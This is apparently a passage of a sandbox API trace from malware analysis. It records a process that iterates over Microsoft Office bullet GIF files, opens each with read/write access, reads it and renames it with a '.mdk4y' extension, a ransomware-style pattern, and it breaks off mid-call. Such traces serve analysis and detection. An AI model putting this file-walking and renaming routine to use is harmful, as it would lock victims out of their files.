WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14753_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14753_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.360] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859000000) returned 1 [0183.360] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbc, lpOverlapped=0x0) returned 1 [0183.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859100000) returned 1 [0183.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859100000) returned 1 [0183.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif.mdk4y")) returned 1 [0183.362] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.362] AreFileApisANSI () returned 1 [0183.362] GetACP () returned 0x4e4 [0183.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14754_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14754_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.362] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859200000) returned 1 [0183.362] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859300000) returned 1 [0183.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859300000) returned 1 [0183.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif.mdk4y")) returned 1 [0183.364] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.364] AreFileApisANSI () returned 1 [0183.364] GetACP () returned 0x4e4 [0183.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14755_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14755_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859400000) returned 1 [0183.364] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x44, lpOverlapped=0x0) returned 1 [0183.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859500000) returned 1 [0183.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859500000) returned 1 [0183.365] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif.mdk4y")) returned 1 [0183.366] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.366] AreFileApisANSI () returned 1 [0183.366] GetACP () returned 0x4e4 [0183.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14756_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14756_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859700000) returned 1 [0183.367] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbf, lpOverlapped=0x0) returned 1 [0183.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859800000) returned 1 [0183.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859800000) returned 1 [0183.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif.mdk4y")) returned 1 [0183.369] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.369] AreFileApisANSI () returned 1 [0183.369] GetACP () returned 0x4e4 [0183.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14757_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14757_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825859900000) returned 1 [0183.369] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb3, lpOverlapped=0x0) returned 1 [0183.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860000000) returned 1 [0183.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860000000) returned 1 [0183.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif.mdk4y")) returned 1 [0183.371] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.371] AreFileApisANSI () returned 1 [0183.371] GetACP () returned 0x4e4 [0183.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14790_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14790_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.371] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860200000) returned 1 [0183.372] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x111, lpOverlapped=0x0) returned 1 [0183.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860200000) returned 1 [0183.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860200000) returned 1 [0183.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif.mdk4y")) returned 1 [0183.373] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.373] AreFileApisANSI () returned 1 [0183.373] GetACP () returned 0x4e4 [0183.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14791_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14791_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860400000) returned 1 [0183.374] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x45b, lpOverlapped=0x0) returned 1 [0183.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860500000) returned 1 [0183.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860500000) returned 1 [0183.375] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif.mdk4y")) returned 1 [0183.376] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.376] AreFileApisANSI () returned 1 [0183.376] GetACP () returned 0x4e4 [0183.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14792_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14792_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.376] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860700000) returned 1 [0183.377] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfb, lpOverlapped=0x0) returned 1 [0183.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860700000) returned 1 [0183.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860800000) returned 1 [0183.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif.mdk4y")) returned 1 [0183.378] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.378] AreFileApisANSI () returned 1 [0183.378] GetACP () returned 0x4e4 [0183.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14793_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14793_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.378] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825860900000) returned 1 [0183.379] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf0, lpOverlapped=0x0) returned 1 [0183.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861000000) returned 1 [0183.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861000000) returned 1 [0183.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif.mdk4y")) returned 1 [0183.380] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.380] AreFileApisANSI () returned 1 [0183.380] GetACP () returned 0x4e4 [0183.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14794_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14794_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861100000) returned 1 [0183.381] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x103, lpOverlapped=0x0) returned 1 [0183.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861400000) returned 1 [0183.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861400000) returned 1 [0183.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif.mdk4y")) returned 1 [0183.386] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.386] AreFileApisANSI () returned 1 [0183.386] GetACP () returned 0x4e4 [0183.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14795_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14795_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861700000) returned 1 [0183.387] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdb, lpOverlapped=0x0) returned 1 [0183.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861800000) returned 1 [0183.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861800000) returned 1 [0183.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif.mdk4y")) returned 1 [0183.388] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.388] AreFileApisANSI () returned 1 [0183.388] GetACP () returned 0x4e4 [0183.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14828_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14828_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825861900000) returned 1 [0183.389] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc0, lpOverlapped=0x0) returned 1 [0183.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862000000) returned 1 [0183.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862000000) returned 1 [0183.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif.mdk4y")) returned 1 [0183.391] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.391] AreFileApisANSI () returned 1 [0183.391] GetACP () returned 0x4e4 [0183.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14829_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14829_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.391] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862200000) returned 1 [0183.392] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbf, lpOverlapped=0x0) returned 1 [0183.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862200000) returned 1 [0183.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862200000) returned 1 [0183.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif.mdk4y")) returned 1 [0183.393] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.393] AreFileApisANSI () returned 1 [0183.393] GetACP () returned 0x4e4 [0183.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14830_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14830_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.393] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862400000) returned 1 [0183.394] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb8, lpOverlapped=0x0) returned 1 [0183.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862500000) returned 1 [0183.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825862500000) returned 1 [0183.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif.mdk4y")) returned 1 [0183.395] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.395] AreFileApisANSI () returned 1 [0183.395] GetACP () returned 0x4e4 [0183.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 